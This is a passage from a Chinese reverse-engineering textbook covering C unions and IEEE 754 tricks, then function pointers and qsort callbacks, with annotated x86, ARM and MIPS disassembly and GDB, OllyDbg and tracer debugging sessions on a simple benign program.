节将详细介绍这种规范。 如果使用 MSVC 2012 编译器进行编译,那么可执行程序则会使用面向 FPU 的 SIMD 指令。本书 27.5 节会对 SMID 指令进行单独介绍。 22.1.2 MIPS 指令清单 22.2 Optimizing GCC 4.4.5 float_rand: var_10 = -0x10 var_4 = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $gp, 0x20+var_10($sp) ; call my_rand(): jal my_rand or $at, $zero ; branch delay slot, NOP ; $v0=32-bit pseudorandom value li $v1, 0x7FFFFF ; $v1=0x7FFFFF and $v1, $v0, $v1 ; $v1=pseudorandom value & 0x7FFFFF lui $a0, 0x3F80 ; $a0=0x3F800000 or $v1, $a0 ; $v1=pseudorandom value & 0x7FFFFF | 0x3F800000 ; matter of the following instruction is still hard to get: lui $v0, ($LC0 >> 16) ; load 1.0 into $f0: lwc1 $f0, $LC0 ; move value from $v1 to coprocessor 1 (into register $f2) ; it behaves like bitwise copy, no conversion done: mtc1 $v1, $f2 lw $ra, 0x20+var_4($sp) ; subtract 1.0. leave result in $f0: sub.s $f0, $f2, $f0 jr $ra addiu $sp, 0x20 ; branch delay slot main: var_18 = -0x18 var_10 = -0x10 var_C = -0xC var_8 = -8 var_4 = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x28 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x28+var_4($sp) sw $s2, 0x28+var_8($sp) sw $s1, 0x28+var_C($sp) sw $s0, 0x28+var_10($sp) sw $gp, 0x28+var_18($sp) lw $t9, (time & 0xFFFF)($gp) or $at, $zero ; load delay slot, NOP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 348 逆向工程权威指南(上册) jalr $t9 move $a0, $zero ; branch delay slot lui $s2, ($LC1 >> 16) # "%f\n" move $a0, $v0 la $s2, ($LC1 & 0xFFFF) # "%f\n" move $s0, $zero jal my_srand li $s1, 0x64 # 'd' ; branch delay slot loc_104: jal float_rand addiu $s0, 1 lw $gp, 0x28+var_18($sp) ; convert value we got from float_rand() to double type (printf() need it): cvt.d.s $f2, $f0 lw $t9, (printf & 0xFFFF)($gp) mfc1 $a3, $f2 mfc1 $a2, $f3 jalr $t9 move $a0, $s2 bne $s0, $s1, loc_104 move $v0, $zero lw $ra, 0x28+var_4($sp) lw $s2, 0x28+var_8($sp) lw $s1, 0x28+var_C($sp) lw $s0, 0x28+var_10($sp) jr $ra addiu $sp, 0x28 ; branch delay slot $LC1: .ascii "%f\n"<0> $LC0: .float 1.0 上述程序同样出现了无实际意义的 LUI 指令。17.5.6 节解释过这种情况了,本节不再对其进行复述。 22.1.3 ARM (ARM mode) 指令清单 22.3 Optimizing GCC 4.6.3 (IDA) float_rand STMFD SP!, {R3,LR} BL my_rand ; R0=pseudorandom value FLDS S0, =1.0 ; S0=1.0 BIC R3, R0, #0xFF000000 BIC R3, R3, #0x800000 ORR R3, R3, #0x3F800000 ; R3=pseudorandom value & 0x007fffff | 0x3f800000 ; copy from R3 to FPU (register S15). ; it behaves like bitwise copy, no conversion done: FMSR S15, R3 ; subtract 1.0 and leave result in S0: FSUBS S0, S15, S0 LDMFD SP!, {R3,PC} flt_5C DCFS 1.0 main STMFD SP!, {R4,LR} MOV R0, #0 BL time BL my_srand MOV R4, #0x64 ; 'd' loc_78 BL float_rand ; S0=pseudorandom value LDR R0, =aF ; "%f" ; convert float type value into double type value (printf() will need it): FCVTDS D7, S0 ; bitwise copy from D7 into R2/R3 pair of registers (for printf()): FMRRD R2, R3, D7 BL printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 22 章 共用体(union)类型 349 SUBS R4, R4, #1 BNE loc_78 MOV R0, R4 LDMFD SP!, {R4,PC} aF DCB "%f",0xA,0 通过 objdump 工具对上述程序进行分析,可看到 objdump 所显示的 FPU 指令和 IDA 所显示的指令并 不一致。这大概是因为 IDA 与 binutils 的研发人员使用的是不同的指令手册。不管原因如何,同一个 FPU 指令会有不同对应名称的情况确实存在。 指令清单 22.4 Optimizing GCC 4.6.3 (objdump) 00000038 <float_rand>: 38: e92d4008 push {r3, lr} 3c: ebfffffe bl 10 <my_rand> 40: ed9f0a05 vldr s0, [pc, #20] ; 5c <float_rand+0x24> 44: e3c034ff bic r3, r0, #-16777216 ; 0xff000000 48: e3c33502 bic r3, r3, #8388608 ; 0x800000 4c: e38335fe orr r3, r3, #1065353216 ; 0x3f800000 50: ee073a90 vmov s15, r3 54: ee370ac0 vsub.f32 s0, s15, s0 58: e8bd8008 pop {r3, pc} 5c: 3f800000 svccc 0x00800000 00000000 <main>: 0: e92d4010 push {r4, lr} 4: e3a00000 mov r0, #0 8: ebfffffe bl 0 <time> c: ebfffffe bl 0 <main> 10: e3a04064 mov r4, #100 ; 0x64 14: ebfffffe bl 38 <main+0x38> 18: e59f0018 ldr r0, [pc, #24] ; 38 <main+0x38> 1c: eeb77ac0 vcvt.f64.f32 d7, s0 20: ec532b17 vmov r2, r3, d7 24: ebfffffe bl 0 <printf> 28: e2544001 subs r4, r4, #1 2c: 1afffff8 bne 14 <main+0x14> 30: e1a00004 mov r0, r4 34: e8bd8010 pop {r4, pc} 38: 00000000 andeq r0, r0, r0 在 float_rand()函数里地址 5c 处的指令和 main()函数里地址 38 处的指令都是随机噪音。 22.2 计算机器精度 单精度浮点数的“机器精度/machine epsilon”指的是相对误差的上限,即 FPU 操作的最小值。因此, 浮点数的数据位越多,误差越小、精度越高。故而单精度 float 型数据的最高精度为 2-23=1.19e-7,而双精度 double 型的最高精度为 2-52=2.22e-16。 所以计算某一数值的机器精度是可能的。 #include <stdio.h> #include <stdint.h> union uint_float { uint32_t i; float f; }; float calculate_machine_epsilon(float start) { union uint_float v; v.f=start; v.i++; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 350 逆向工程权威指南(上册) return v.f-start; }; void main() { printf ("%g\n", calculate_machine_epsilon(1.0)); }; 上述程序从 IEEE 754 格式的浮点数中提取小数部分,把这部分当作整数处理并且给它加上 1。运算的中间值 是“输入值+机器精度”。通过测算输入值(单精度型数值)与中间值的差值来测算具体 float 型数据的机器精度。 程序使用 union 型数据结构解析 IEEE 754 格式的 float 型浮点数,并利用这种数据结构把 float 数据的 小数部分提取为整数。“1”实际上加到浮点数小数部分中去了。当然,这可能造成溢出,可能把最高位的 进位加到浮点数的指数部分。 22.2.1 x86 指令清单 22.5 Optimizing MSVC 2010 tv130 = 8 _v$ = 8 _start$ = 8 _calculate_machine_epsilon PROC fld DWORD PTR _start$[esp-4] fst DWORD PTR _v$[esp-4] ;冗余代码 inc DWORD PTR _v$[esp-4] fsubr DWORD PTR _v$[esp-4] fstp DWORD PTR tv130[esp-4] ;冗余代码 fld DWORD PTR tv130[esp-4] ;冗余代码 ret 0 _calculate_machine_epsilon ENDP 上述程序的第二个 FST 指令是冗余指令:没有理由把输入值在同一个地址存储两次。这是编译器的问 题:它决定把变量 v 的存储地址和传递参数所用的栈内地址分配成同一个地址。 接下来的 INC 指令把输入值的小数部分当作整数数据处理。处理结果的中间值再被当作 IEEE 754 型 数据传递给 FPU。FSUBR 指令计算差值,最后返回值被存储到 ST0 之中。 程序中最后两条 FSTP/FLD 指令没有实际作用。编译器没能进行相应的优化。 22.2.2 ARM64 把数据类型扩展为 64 位数据的程序如下所示。 #include <stdio.h> #include <stdint.h> typedef union { uint64_t i; double d; } uint_double; double calculate_machine_epsilon(double start) { uint_double v; v.d=start; v.i++; return v.d-start; } void main() { printf ("%g\n", calculate_machine_epsilon(1.0)); }; ARM64 平台的指令不能直接在 FPU 的 D-字头寄存器里进行加法运算。因此输入值首先从 D0 寄存器 复制到 GPR,在那里进行运算并把结果复制给 D1 寄存器,从而在 FPU 里进行减法运算。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 22 章 共用体(union)类型 351 指令清单 22.6 Optimizing GCC 4.9 ARM64 calculate_machine_epsilon: fmov x0, d0 ; load input value of double type into X0 add x0, x0, 1 ; X0++ fmov d1, x0 ; move it to FPU register fsub d0, d1, d0 ; subtract ret 可见上述 x64 程序使用到了 SIMD 指令。有关介绍请参见本书 27.4 节。 22.2.3 MIPS 面向 MIPS 平台的编译器使用 MTC1(Move To Coprocessor 1)指令把 GPR 的数据传递给 FPU 寄存器。 指令清单 22.7 Optimizing GCC 4.4.5 (IDA) calculate_machine_epsilon: mfc1 $v0, $f12 or $at, $zero ; NOP addiu $v1, $v0, 1 mtc1 $v1, $f2 jr $ra sub.s $f0, $f2, $f12 ; branch delay slot 22.2.4 本章小结 本章程序所使用的技巧,在实际程序中出现的几率不大。但是这些技巧可充分演示 IEEE 754 型数据和 C/C++ UNIONS 型数据结构的特点。 22.3 快速平方根计算 浮点数解释为整数的另一个著名的算法,是快速平方根计算。 指令清单 22.8 取自 http://go.yurichev.com/17364 的源代码 /* Assumes that float is in the IEEE 754 single precision floating point format * and that int is 32 bits. */ float sqrt_approx(float z) { int val_int = *(int*)&z; /* Same bits, but as an int */ /* * To justify the following code, prove that * * ((((val_int / 2^m) - b) / 2) + b) * 2^m = ((val_int - 2^m) / 2) + ((b + 1) / 2) * 2^m) * *where * *b = exponent bias * m = number of mantissa bits * * . */ val_int -= 1 << 23; /* Subtract 2^m. */ val_int >>= 1; /* Divide by 2. */ val_int += 1 << 29; /* Add ((b + 1) / 2) * 2^m. */ return *(float*)&val_int; /* Interpret again as float */ } 作为一个练习,你可以尝试编译这个函数,以理解它是如何工作的。还有一个著名的快速计算 1 x 的 算法。据说这一算法因为用于 QuakeⅢArena 中而变得很流行。 该算法的描述和源代码参见 http://go.yurichev.com/17360。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2233 章 章 函 函 数 数 指 指 针 针 函数指针和其他指针没有太大区别。它代表的地址为函数代码段的起始地址。 在函数指针(地址)以函数参数的形式传递给另一个函数,继而被用来调用该指针所指向的函数时, 这种函数指针的所指向的函数就是“回调函数”/callback function。 ①  标准C函数库里的qsort()函数和atexit()函数 此类指针主要应用于: ②  *NIX系统里的信号(Signals) 。 ③  Win32 的多种函数,例如EnumChildWindows() 。  启动线程的 CreateThread()(windows 函数)和 pthread_create()(POSIX 函数)。 ④ ① 又称“回调函数”。确切地说,callback 指的是一种调用方法,而非某个函数,故而本书保留英文名词。请参见 http://en.wikipedia. org/wiki/Callback_(computer_science)。 ② 请参见:http://en.wikipedia.org/wiki/Qsort_(C_standard_library)http://pubs.opengroup.org/onlinepubs/009695399/functions/atexit.html。 ③ 请参见:http://en.wikipedia.org/wiki/Signal.h。 ④ https://msdn.microsoft.com/en-us/library/ms633494(VS.85).aspx。 。  Linux 内核。例如,Linux 以 callback 的方式调用文件系统的驱动函数:http://lxr.free-electrons.com/ source/include/linux/fs.h?v=3.14#L1525。  GCC 插件:https://gcc.gnu.org/onlinedocs/gccint/Plugin-API.html#Plugin-API。  Linux 窗口管理程序定义快捷方式的 dwm 表。当键盘接收到可匹配的特定键时,对应的快捷方式就通 过 callback 调用相应函数。请参见 GitHub(https://github.com/cdown/dwm/blob/master/config.def.h#L117), callback 方法要比大量使用 switch()语句的方法更为简单。 其中,qsort()函数是 C/C++编译器函数库自带的快速排序函数。无论待排序的数据是何种数据类型, 只要编写出比较两个元素的函数,那么就可以用 qsort()函数以 callback 的方式调用比较函数。 例如,我们可声明比较函数为: int (*compare)(const void *, const void *) 我们来看下面这段程序: 1 /* ex3 Sorting ints with qsort */ 2 3 #include <stdio.h> 4 #include <stdlib.h> 5 6 int comp(const void * _a, const void * _b) 7 { 8 const int *a=(const int *)_a; 9 const int *b=(const int *)_b; 10 11 if (*a==*b) 12 return 0; 13 else 14 if (*a < *b) 15 return -1; 16 else 17 return 1; 18 } 19 20 int main(int argc, char* argv[]) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 23 章 函 数 指 针 353 21 { 22 int numbers[10]={1892,45,200,-98,4087,5,-12345,1087,88,-100000}; 23 int i; 24 25 /* Sort the array */ 26 qsort(numbers,10,sizeof(int),comp) ; 27 for (i=0;i<9;i++) 28 printf("Number = %d\n",numbers[ i ]) ; 29 return 0; 30 } 23.1 MSVC 使用 MSVC 2010(启用选项/Ox/GS-/MD)编译上述程序,可得到下述汇编指令(为了凸出重点而进 行了精简)。 指令清单 23.1 Optimizing MSVC 2010: /GS- /MD __a$ = 8 ; size = 4 __b$ = 12 ; size = 4 _comp PROC mov eax, DWORD PTR __a$[esp-4] mov ecx, DWORD PTR __b$[esp-4] mov eax, DWORD PTR [eax] mov eax, DWORD PTR [ecx] cmp eax, ecx jne SHORT $LN4@comp xor eax, eax ret 0 $LN4@comp: xor edx, edx cmp eax, ecx setge dl lea eax, DWORD PTR [edx+edx-1] ret 0 _comp ENDP _numbers$ = -40 ; size = 40 _argc$ = 8 ; size = 4 _argv$ = 12 ; size = 4 _main PROC sub esp, 40 ; 00000028H push esi push OFFSET _comp push 4 lea eax, DWORD PTR _numbers$[esp+52] push 10 ; 0000000aH push eax mov DWORD PTR _numbers$[esp+60], 1892 ; 00000764H mov DWORD PTR _numbers$[esp+64], 45 ; 0000002dH mov DWORD PTR _numbers$[esp+68], 200 ; 000000c8H mov DWORD PTR _numbers$[esp+72], -98 ; ffffff9eH mov DWORD PTR _numbers$[esp+76], 4087 ; 00000ff7H mov DWORD PTR _numbers$[esp+80], 5 mov DWORD PTR _numbers$[esp+84], -12345 ; ffffcfc7H mov DWORD PTR _numbers$[esp+88], 1087 ; 0000043fH mov DWORD PTR _numbers$[esp+92], 88 ; 00000058H mov DWORD PTR _numbers$[esp+96], -100000 ; fffe7960H call _qsort add esp, 16 ; 00000010H … 异步社区会员 dearfuture(15918834820) 专享 尊重版权 354 逆向工程权威指南(上册) 这个程序没有特殊之处。在传递第四个参数时,传递的是标签_comp 的地址。该地址正是 comp()函数 的第一条指令的内存地址。 qsort()函数又是如何调用 comp()函数的? qsort()函数位于 MSVCR80.DLL(含有 C 函数标准库的 MSVC DLL)中。我们来分析这个文件中的具 体指令。 指令清单 23.2 MSVCR80.DLL .text:7816CBF0 ; void __cdecl qsort(void *, unsigned int, unsigned int, int (__cdecl *)(const void *, const void *)) .text:7816CBF0 public _qsort .text:7816CBF0 _qsort proc near .text:7816CBF0 .text:7816CBF0 lo = dword ptr -104h .text:7816CBF0 hi = dword ptr -100h .text:7816CBF0 var_FC = dword ptr -0FCh .text:7816CBF0 stkptr = dword ptr -0F8h .text:7816CBF0 lostk = dword ptr -0F4h .text:7816CBF0 histk = dword ptr -7Ch .text:7816CBF0 base = dword ptr 4 .text:7816CBF0 num = dword ptr 8 .text:7816CBF0 width = dword ptr 0Ch .text:7816CBF0 comp = dword ptr 10h .text:7816CBF0 .text:7816CBF0 sub esp, 100h … .text:7816CCE0 loc_7816CCE0: ; CODE XREF: _qsort+B1 .text:7816CCE0 shr eax, 1 .text:7816CCE2 imul eax, ebp .text:7816CCE5 add eax, ebx .text:7816CCE7 mov edi, eax .text:7816CCE9 push edi .text:7816CCEA push ebx .text:7816CCEB call [esp+118h+comp] .text:7816CCF2 add esp, 8 .text:7816CCF5 test eax, eax .text:7816CCF7 jle short loc_7816CD04 MSVCR80.DLL 中的 comp 参数,是传递给 qsort()函数的第四个参数。在执行 qsort()的过程中,系统会 把控制权传递给 comp 参数指向的函数指针的地址。在调用它之前,comp()函数所需的两个参数已经传递 到位。在执行它之后,排序已经完成。 可见,函数指针十分危险。首先,如果传递给 qsort()函数的函数指针有误,那么 qsort()函数仍然会把 控制权传递给错误的指针地址,届时程序多半将会崩溃,而且人工排错很难发现问题所在。 其次,callback 函数必须严格遵守调用规范。无论是函数不当、参数不当还是数据类型不当,都会引 发严重的问题。相比之下,关键问题并不是程序是否会崩溃,而是排查程序崩溃的手段是什么。在编译器 处理函数指针的时候,它不会对潜在问题进行任何提示。 23.1.1 MSVC+OllyDbg 我们使用 OllyDbg 加载这个程序,并在首次调用 comp()函数的地址设置断点。 图 23.1 所示为程序首次调用 comp()函数时的情况。OllyDbg 在代码窗口下显示出被比较的两个值。此 时 SP 指向 RA,即 qsort()函数的地址(实际上是 MSVCR100.DLL 内部的地址)。 在程序运行完 RETN 指令之前,我们一直按 F8 键,等待它进入 qsort()函数,如图 23.2 所示。 程序将再次调用比较函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 23 章 函 数 指 针 355 图 23.1 OllyDbg:第一次调用 comp()函数 图 23.2 OllyDbg:调用 comp()函数之后返回 qsort()函数 图 23.3 所示的是第二次调用 comp()函数的情形。这一时刻被比较的两个值不相同。 图 23.3 OllyDbg:第二次调用 comp()函数 23.1.2 MSVC+tracer 程序将比较的 10 个数分别是 1892, 45, 200, −98, 4087, 5, −12345, 1087, 88, −100000。 我们在 comp()函数里找到第一个 CMP 指令,它的地址是 0x0040100C。我们在此处设置一个断点: tracer.exe -l:17_1.exe bpx=17_1.exe!0x0040100C 当程序执行到该断点时,各寄存器的情况如下: PID=4336|New process 17_1.exe (0) 17_1.exe!0x40100c EAX=0x00000764 EBX=0x0051f7c8 ECX=0x00000005 EDX=0x00000000 ESI=0x0051f7d8 EDI=0x0051f7b4 EBP=0x0051f794 ESP=0x0051f67c EIP=0x0028100c 异步社区会员 dearfuture(15918834820) 专享 尊重版权 356 逆向工程权威指南(上册) FLAGS=IF (0) 17_1.exe!0x40100c EAX=0x00000005 EBX=0x0051f7c8 ECX=0xfffe7960 EDX=0x00000000 ESI=0x0051f7d8 EDI=0x0051f7b4 EBP=0x0051f794 ESP=0x0051f67c EIP=0x0028100c FLAGS=PF ZF IF (0) 17_1.exe!0x40100c EAX=0x00000764 EBX=0x0051f7c8 ECX=0x00000005 EDX=0x00000000 ESI=0x0051f7d8 EDI=0x0051f7b4 EBP=0x0051f794 ESP=0x0051f67c EIP=0x0028100c FLAGS=CF PF ZF IF ... 从中筛选 EAX 和 ECX 寄存器的值: EAX=0x00000764 ECX=0x00000005 EAX=0x00000005 ECX=0xfffe7960 EAX=0x00000764 ECX=0x00000005 EAX=0x0000002d ECX=0x00000005 EAX=0x00000058 ECX=0x00000005 EAX=0x0000043f ECX=0x00000005 EAX=0xffffcfc7 ECX=0x00000005 EAX=0x000000c8 ECX=0x00000005 EAX=0xffffff9e ECX=0x00000005 EAX=0x00000ff7 ECX=0x00000005 EAX=0x00000ff7 ECX=0x00000005 EAX=0xffffff9e ECX=0x00000005 EAX=0xffffff9e ECX=0x00000005 EAX=0xffffcfc7 ECX=0xfffe7960 EAX=0x00000005 ECX=0xffffcfc7 EAX=0xffffff9e ECX=0x00000005 EAX=0xffffcfc7 ECX=0xfffe7960 EAX=0xffffff9e ECX=0xffffcfc7 EAX=0xffffcfc7 ECX=0xfffe7960 EAX=0x000000c8 ECX=0x00000ff7 EAX=0x0000002d ECX=0x00000ff7 EAX=0x0000043f ECX=0x00000ff7 EAX=0x00000058 ECX=0x00000ff7 EAX=0x00000764 ECX=0x00000ff7 EAX=0x000000c8 ECX=0x00000764 EAX=0x0000002d ECX=0x00000764 EAX=0x0000043f ECX=0x00000764 EAX=0x00000058 ECX=0x00000764 EAX=0x000000c8 ECX=0x00000058 EAX=0x0000002d ECX=0x000000c8 EAX=0x0000043f ECX=0x000000c8 EAX=0x000000c8 ECX=0x00000058 EAX=0x0000002d ECX=0x000000c8 EAX=0x0000002d ECX=0x00000058 得到上面所列的 34 组数据。也就是说,quick sort 算法需要把这 10 个数字进行 34 次比较。 23.1.3 MSVC + tracer(指令分析) 本节利用 tracer 程序收集寄存器里出现过的所有值,稍后在 IDA 里显示它们。 首先使用 tracer 程序追踪 comp()函数里的所有指令: tracer.exe -l:17_1.exe bpf=17_1.exe!0x00401000,trace:cc 然后再用 IDA 加载刚才生成的.idc-script 文件。如图 23.4 所示。 通过分析 qsort()函数调用的函数指针,IDA 能够显示出相应的函数名称(PtFuncCompare)。 由于数组里存储的是 32 位数据,所以指针 a 和指针 b 多次指向数组里的不同地方,且它们每次变换之 间的地址差是 4 字节。 我们还注意到 0x401010 和 0x401012 处的指令就没有被执行过(所以被标记为白色)。这是因为传递给 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 23 章 函 数 指 针 357 comp()函数的值都不相同,函数返回值不会是 0。 图 23.4 tracer 与 IDA 的联动/某些值在屏幕右侧边界之外 23.2 GCC GCC 的编译方法与 MSVC 的编译方式十分相近。 指令清单 23.3 GCC lea eax, [esp+40h+var_28] mov [esp+40h+var_40], eax mov [esp+40h+var_28], 764h mov [esp+40h+var_24], 2Dh mov [esp+40h+var_20], 0C8h mov [esp+40h+var_1C], 0FFFFFF9Eh mov [esp+40h+var_18], 0FF7h mov [esp+40h+var_14], 5 mov [esp+40h+var_10], 0FFFFCFC7h mov [esp+40h+var_C], 43Fh mov [esp+40h+var_8], 58h mov [esp+40h+var_4], 0FFFE7960h mov [esp+40h+var_34], offset comp mov [esp+40h+var_38], 4 mov [esp+40h+var_3C], 0Ah call _qsort comp()函数对应的代码如下所示。 public comp comp proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov edx, [eax] xor eax, eax cmp [ecx], edx jnz short loc_8048458 pop ebp retn loc_8048458: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 358 逆向工程权威指南(上册) setnl al movzx eax, al lea eax, [eax+eax-1] pop ebp retn comp endp qsort()函数的计算过程封装在库文件 libc.so.6 里。因此,Linux 的 qsort()只是 qsort_r()的 wrapper。 此处会调用 quicksort()函数,后者再通过函数指针调用我们编写的 comp()函数。 glibc version -2.10.1 中的 lib.so.6 文件有下述指令。 指令清单 23.4 (file libc.so.6, glibc version—2.10.1) .text:0002DDF6 mov edx, [ebp+arg_10] .text:0002DDF9 mov [esp+4], esi .text:0002DDFD mov [esp], edi .text:0002DE00 mov [esp+8], edx .text:0002DE04 call [ebp+arg_C] ... 23.2.1 GCC + GDB(有源代码的情况) 在有源代码的情况下 ① ① 请参阅本章第一个源程序。 ,我们能够针对源代码的行号(第 11 行,第一次调用比较函数)设置断点(b 指令)。这种调试方法有一个前提条件:我们还要在编译源代码时保留调试信息(启用编译选项-g),以便 保留地址表和行号之间的对应关系。这样,我们就能根据变量名打印变量的值(p指令):调试信息会保留 寄存器和(或)数据栈元素与变量之间的对应关系。 我们也可以查看数据栈(bt),并且找出 Glibc 的 msort_with_tmp()函数使用了哪些中间函数。 调试过程如下。 指令清单 23.5 GDB 调试过程 dennis@ubuntuvm:~/polygon$ gcc 17_1.c -g dennis@ubuntuvm:~/polygon$ gdb ./a.out GNU gdb (GDB) 7.6.1-ubuntu Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/dennis/polygon/a.out...done. (gdb) b 17_1.c:11 Breakpoint 1 at 0x804845f: file 17_1.c, line 11. (gdb) run Starting program: /home/dennis/polygon/./a.out Breakpoint 1, comp (_a=0xbffff0f8, _b=_b@entry=0xbffff0fc) at 17_1.c:11 11 if (*a==*b) (gdb) p *a $1 = 1892 (gdb) p *b $2 = 45 (gdb) c Continuing. Breakpoint 1, comp (_a=0xbffff104, _b=_b@entry=0xbffff108) at 17_1.c:11 11 if (*a==*b) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 23 章 函 数 指 针 359 (gdb) p *a $3 = -98 (gdb) p *b $4 = 4087 (gdb) bt #0 comp (_a=0xbffff0f8, _b=_b@entry=0xbffff0fc) at 17_1.c:11 #1 0xb7e42872 in msort_with_tmp (p=p@entry=0xbffff07c, b=b@entry=0xbffff0f8, n=n@entry=2) at msort.c:65 #2 0xb7e4273e in msort_with_tmp (n=2, b=0xbffff0f8, p=0xbffff07c) at msort.c:45 #3 msort_with_tmp (p=p@entry=0xbffff07c, b=b@entry=0xbffff0f8, n=n@entry=5) at msort.c:53 #4 0xb7e4273e in msort_with_tmp (n=5, b=0xbffff0f8, p=0xbffff07c) at msort.c:45 #5 msort_with_tmp (p=p@entry=0xbffff07c, b=b@entry=0xbffff0f8, n=n@entry=10) at msort.c:53 #6 0xb7e42cef in msort_with_tmp (n=10, b=0xbffff0f8, p=0xbffff07c) at msort.c:45 #7 __GI_qsort_r (b=b@entry=0xbffff0f8, n=n@entry=10, s=s@entry=4, cmp=cmp@entry=0x804844d < comp>, arg=arg@entry=0x0) at msort.c:297 #8 0xb7e42dcf in __GI_qsort (b=0xbffff0f8, n=10, s=4, cmp=0x804844d <comp>) at msort.c:307 #9 0x0804850d in main (argc=1, argv=0xbffff1c4) at 17_1.c:26 (gdb) 23.2.2 GCC+GDB(没有源代码的情况) 但是实际情况是,多数情况下我们没有程序的源代码。此时需要反编译 comp()函数(disas 指令),找 到第一个 CMP 指令并在该处设置断点。在此之后,我们要查看所有寄存器的值(info registers)。虽然此时 还能够查看数据栈(bt),但是所得信息非常有限:程序里没有保存 comp()函数的行号信息。 调试过程如下。 指令清单 23.6 GDB 调试过程 dennis@ubuntuvm:~/polygon$ gcc 17_1.c dennis@ubuntuvm:~/polygon$ gdb ./a.out GNU gdb (GDB) 7.6.1-ubuntu Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/dennis/polygon/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas comp Dump of assembler code for function comp: 0x0804844d <+0>: push ebp 0x0804844e <+1>: mov ebp,esp 0x08048450 <+3>: sub esp,0x10 0x08048453 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x08048456 <+9>: mov DWORD PTR [ebp-0x8],eax 0x08048459 <+12>: mov eax,DWORD PTR [ebp+0xc] 0x0804845c <+15>: mov DWORD PTR [ebp-0x4],eax 0x0804845f <+18>: mov eax,DWORD PTR [ebp-0x8] 0x08048462 <+21>: mov edx,DWORD PTR [eax] 0x08048464 <+23>: mov eax,DWORD PTR [ebp-0x4] 0x08048467 <+26>: mov eax,DWORD PTR [eax] 0x08048469 <+28>: cmp edx,eax 0x0804846b <+30>: jne 0x8048474 <comp+39> 0x0804846d <+32>: mov eax,0x0 0x08048472 <+37>: jmp 0x804848e <comp+65> 0x08048474 <+39>: mov eax,DWORD PTR [ebp-0x8] 0x08048477 <+42>: mov edx,DWORD PTR [eax] 0x08048479 <+44>: mov eax,DWORD PTR [ebp-0x4] 0x0804847c <+47>: mov eax,DWORD PTR [eax] 0x0804847e <+49>: cmp edx,eax 0x08048480 <+51>: jge 0x8048489 <comp+60> 异步社区会员 dearfuture(15918834820) 专享 尊重版权 360 逆向工程权威指南(上册) 0x08048482 <+53>: mov eax,0xffffffff 0x08048487 <+58>: jmp 0x804848e <comp+65> 0x08048489 <+60>: mov eax,0x1 0x0804848e <+65>: leave 0x0804848f <+66>: ret End of assembler dump. (gdb) b *0x08048469 Breakpoint 1 at 0x8048469 (gdb) run Starting program: /home/dennis/polygon/./a.out Breakpoint 1, 0x08048469 in comp () (gdb) info registers eax 0x2d 45 ecx 0xbffff0f8 -1073745672 edx 0x764 1892 ebx 0xb7fc0000 -1208221696 esp 0xbfffeeb8 0xbfffeeb8 ebp 0xbfffeec8 0xbfffeec8 esi 0xbffff0fc -1073745668 edi 0xbffff010 -1073745904 eip 0x8048469 0x8048469 <comp+28> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x00 0 gs 0x33 51 (gdb) c Continuing. Breakpoint 1, 0x08048469 in comp () (gdb) info registers eax 0xff7 4087 ecx 0xbffff104 -1073745660 edx 0xffffff9e -98 ebx 0xb7fc0000 -1208221696 esp 0xbfffee58 0xbfffee58 ebp 0xbfffee68 0xbfffee68 esi 0xbffff108 -1073745656 edi 0xbffff010 -1073745904 eip 0x8048469 0x8048469 <comp+28> eflags 0x282 [ SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x00 0 gs 0x33 51 (gdb) c Continuing. Breakpoint 1, 0x08048469 in comp () (gdb) info registers eax 0xffffff9e -98 ecx 0xbffff100 -1073745664 edx 0xc8 200 ebx 0xb7fc0000 -1208221696 esp 0xbfffeeb8 0xbfffeeb8 ebp 0xbfffeec8 0xbfffeec8 esi 0xbffff104 -1073745660 edi 0xbffff010 -1073745904 eip 0x8048469 0x8048469 <comp+28> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 23 章 函 数 指 针 361 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) bt #0 0x08048469 in comp () #1 0xb7e42872 in msort_with_tmp (p=p@entry=0xbffff07c, b=b@entry=0xbffff0f8, n=n@entry=2) at msort.c:65 #2 0xb7e4273e in msort_with_tmp (n=2, b=0xbffff0f8, p=0xbffff07c) at msort.c:45 #3 msort_with_tmp (p=p@entry=0xbffff07c, b=b@entry=0xbffff0f8, n=n@entry=5) at msort.c:53 #4 0xb7e4273e in msort_with_tmp (n=5, b=0xbffff0f8, p=0xbffff07c) at msort.c:45 #5 msort_with_tmp (p=p@entry=0xbffff07c, b=b@entry=0xbffff0f8, n=n@entry=10) at msort.c:53 #6 0xb7e42cef in msort_with_tmp (n=10, b=0xbffff0f8, p=0xbffff07c) at 